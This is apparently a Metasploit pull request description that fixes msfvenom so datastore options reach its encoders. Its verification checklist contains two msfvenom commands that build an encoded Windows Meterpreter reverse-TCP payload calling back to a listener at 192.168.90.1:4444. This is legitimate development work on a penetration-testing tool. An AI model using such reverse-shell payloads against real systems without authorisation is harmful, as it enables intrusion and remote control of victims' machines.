Fix #4346 - Passing datastore to encoders in msfvenom

Fix #4346. It appears we forgot to merge options for encoders.

### Verification

- [ ] Make sure Travis is green
- [ ] Run this command: ```./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=4444 -a x86 -t raw -a x86 -e x86/alpha_mixed```
- [ ] You should see the encoded output starting with "VTX630VXH49HHH......."
- [ ] Run this command: ```./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=4444 -a x86 -t raw -a x86 -e x86/alpha_mixed BufferRegister=EAX```
- [ ] You should see the encoded output starting with "PYIIIIIIIIIIIIIIII....."